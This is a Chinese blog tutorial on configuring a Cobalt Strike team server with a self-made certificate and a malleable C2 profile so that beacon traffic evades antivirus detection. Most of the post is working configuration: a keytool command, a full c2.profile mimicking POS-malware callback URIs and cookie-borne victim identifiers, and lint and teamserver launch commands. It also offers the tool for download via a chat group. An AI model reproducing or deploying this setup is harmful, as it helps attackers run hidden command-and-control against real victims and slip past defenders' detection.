渗透测试|CobaltStrike配置C2-profile文件【加密流量实现免杀】

2022-09-08 11:49:32 浏览数 (1)

至少我们曾经在一起过。

来自:一言

var xhr = new XMLHttpRequest(); xhr.open('get', 'https://v1.hitokoto.cn/'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; } } xhr.send();

前言

CobaltStrike(简称‘cs’)自带了ssl证书,不过该证书已经被杀软标记了[aru_3],所以我们得生成自己的免费证书替换掉cs自带的证书,监听的时候选https的。

该操作从渣渣辉博客学到的[aru_14],偷一手干货,以下是我使用的cs版本,有需要的朋友欢迎进群下载哦~

证书生成

1.利用keytool生成自己的免费证书(可在kali上生成)

代码语言:javascript复制
keytool -genkey -alias tryblog -keyalg RSA -validity 36500 -keystore tryblog.store

温馨提示

注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面[aru_20]

接下来需要输入密码,一定要记得这串密码,后面会用到,不然到时候你需要自己回来重新生成下

注意:里面的内容随意填写,问你是否正确的时候输入y,然后回车后就成功生成了。证书就在当前目录下

创建C2.profile文件

1.新建一个文件,名叫c2.profile,加入以下内容

代码语言:javascript复制
set sample_name "tryblog POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "TRY"; 
    set O        "TRY";   
    set C        "TRY";
    set L        "TRY";
    set OU       "TRY";  
    set ST       "TRY";
    set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
    set keystore "tryblog.store";
    set password "tryblog";
    set alias "tryblog";
}

#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";

#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";

#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}

在上面的生成命令中的alias以及keystore后面的字段对应好

验证证书

1.进入cs文件夹,将刚刚生成的证书,和创建的c2.profile文件复制进去。

代码语言:javascript复制
./c2lint C2.profile       #命令后面跟你自己的c2文件

这样就基本成功了。

使用证书启动teamserver

代码语言:javascript复制
nohup ./teamserver 1.1.2.3 123456 ./C2.profile &        #nohup就是把程序挂在后台运行

温馨提示

建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认端口启动。[aru_21]

关于免杀

先说一下,不是说你换了ssl证书后生成的文件就直接免杀了[aru_22]。这个只是把流量进行加密,然后你要免杀的话还是要生成payload自己进行免杀的,不过这样以后免杀的效果会好很多,就这样吧,有什么问题欢迎进群讨论。

0 人点赞